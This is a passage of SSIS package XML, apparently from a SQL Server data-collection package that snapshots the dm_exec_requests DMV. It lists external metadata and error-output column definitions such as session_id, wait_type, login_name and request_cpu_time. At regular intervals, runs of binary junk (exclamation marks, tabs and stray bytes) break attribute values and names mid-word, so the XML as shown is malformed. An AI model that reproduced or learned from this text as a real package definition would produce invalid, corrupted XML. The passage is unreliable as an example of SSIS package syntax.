refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[login_time]" dataType="dbTimeStamp" name="login_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[is_user_process]" dataType="bool" name="is_user_process"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[host_name]" dataType="wstr" length="20" name="host_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[pr	!!!!!!!!!!!!!!!!!!!!!!!!`<7k&Hvogram_name]" dataType="wstr" length="50" name="program_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[login_name]" dataType="wstr" length="30" name="login_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_type]" dataType="wstr" length="45" name="wait_type"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_wait_type]" dataType="wstr" length="45" name="last_wait_type"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_duration_ms]" dataType="i8" name="wait_duration_ms"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_resource]" dataType="wstr" length="50" name="wait_resource"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[resource_description]" dataType="wstr" length="140" name="resource_description"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[transaction_id]" dataType="i8" name="transaction_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[open_transaction_count]" dataType="i4" name="open_transaction_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[transaction_isolation_level]" dataType="i2" name="transaction_isolation_level"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_cpu_time]" dataType="i4" name="request_cpu_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_logical_reads]" dataType="i8" name="request_logical_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_reads]" dataType="i8" name="request_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Sourc	!!!!!!!!!!!!!!!!!!!!!!!!`=7	͇Hve Output].ExternalColumns[request_writes]" dataType="i8" name="request_writes"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_total_elapsed_time]" dataType="i4" name="request_total_elapsed_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_start_time]" dataType="dbTimeStamp" name="request_start_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[memory_usage]" dataType="i4" name="memory_usage"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_cpu_time]" dataType="i4" name="session_cpu_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_reads]" dataType="i8" name="session_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_writes]" dataType="i8" name="session_writes"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_logical_reads]" dataType="i8" name="session_logical_reads"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_total_scheduled_time]" dataType="i4" name="session_total_scheduled_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_total_elapsed_time]" dataType="i4" name="session_total_elapsed_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[open_resultsets]" dataType="i4" name="open_resultsets"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_row_count]" dataType="i8" name="session_row_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[prev_error]" dataType="i4" name="prev_error"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source 	!!!!!!!!!!!!!!!!!!!!!!!!`>7
shHvOutput].ExternalColumns[pending_io_count]" dataType="i4" name="pending_io_count"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[command]" dataType="wstr" length="32" name="command"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_request_start_time]" dataType="dbTimeStamp" name="last_request_start_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_request_end_time]" dataType="dbTimeStamp" name="last_request_end_time"/></externalMetadataColumns></output><output refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[row_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[row_id]" name="row_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_id]" dataType="i2" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_id]" name="session_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_id]" name="request_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[exec_context_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[exec_context_id]" name="exec_context_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[blocking_session_id]" dataType="i2" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[blocking_session_id]" name="blocking_session_id"/><outputColumn refId="Package\LOOP - 	!!!!!!!!!!!!!!!!!!!!!!!!`?7;$6HvQuery the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[is_blocking]" dataType="bool" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[is_blocking]" name="is_blocking"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[blocking_exec_context_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[blocking_exec_context_id]" name="blocking_exec_context_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[scheduler_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[scheduler_id]" name="scheduler_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[database_name]" dataType="wstr" length="128" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[database_name]" name="database_name"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[user_id]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[user_id]" name="user_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[task_state]" dataType="wstr" length="10" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[task_state]" name="task_state"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_status]" dataType="wstr" length="15" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_status]" name="request_status"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_status]" dataType="wstr" length="15" lineageId="Package\LOOP - Query the	!!!!!!!!!!!!!!!!!!!!!!!!`@7)HXHv query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_status]" name="session_status"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[executing_managed_code]" dataType="bool" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[executing_managed_code]" name="executing_managed_code"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[login_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[login_time]" name="login_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[is_user_process]" dataType="bool" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[is_user_process]" name="is_user_process"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[host_name]" dataType="wstr" length="20" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[host_name]" name="host_name"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[program_name]" dataType="wstr" length="50" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[program_name]" name="program_name"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[login_name]" dataType="wstr" length="30" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[login_name]" name="login_name"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_type]" dataType="wstr" length="45" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_type]" name="wait_type"/><outputColumn refId="Package\LOOP - Q	!!!!!!!!!!!!!!!!!!!!!!!!`A7--Hvuery the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_wait_type]" dataType="wstr" length="45" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_wait_type]" name="last_wait_type"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_duration_ms]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_duration_ms]" name="wait_duration_ms"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_resource]" dataType="wstr" length="50" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[wait_resource]" name="wait_resource"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[resource_description]" dataType="wstr" length="140" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[resource_description]" name="resource_description"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[transaction_id]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[transaction_id]" name="transaction_id"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[open_transaction_count]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[open_transaction_count]" name="open_transaction_count"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[transaction_isolation_level]" dataType="i2" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[transaction_isolation_level]" name="transaction_isolation_level"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source 	!!!!!!!!!!!!!!!!!!!!!!!!`B7iHvError Output].Columns[request_cpu_time]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_cpu_time]" name="request_cpu_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_logical_reads]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_logical_reads]" name="request_logical_reads"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_reads]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_reads]" name="request_reads"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_writes]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_writes]" name="request_writes"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_total_elapsed_time]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_total_elapsed_time]" name="request_total_elapsed_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_start_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[request_start_time]" name="request_start_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[memory_usage]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[memory_usage]" name="memory_usage"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_cpu_time]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_r	!!!!!!!!!!!!!!!!!!!!!!!!`C7REHvequests.Outputs[OLE DB Source Error Output].Columns[session_cpu_time]" name="session_cpu_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_reads]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_reads]" name="session_reads"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_writes]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_writes]" name="session_writes"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_logical_reads]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_logical_reads]" name="session_logical_reads"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_total_scheduled_time]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_total_scheduled_time]" name="session_total_scheduled_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_total_elapsed_time]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_total_elapsed_time]" name="session_total_elapsed_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_request_start_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_request_start_time]" name="last_request_start_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_request_end_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Query the query statitics DMV at collection 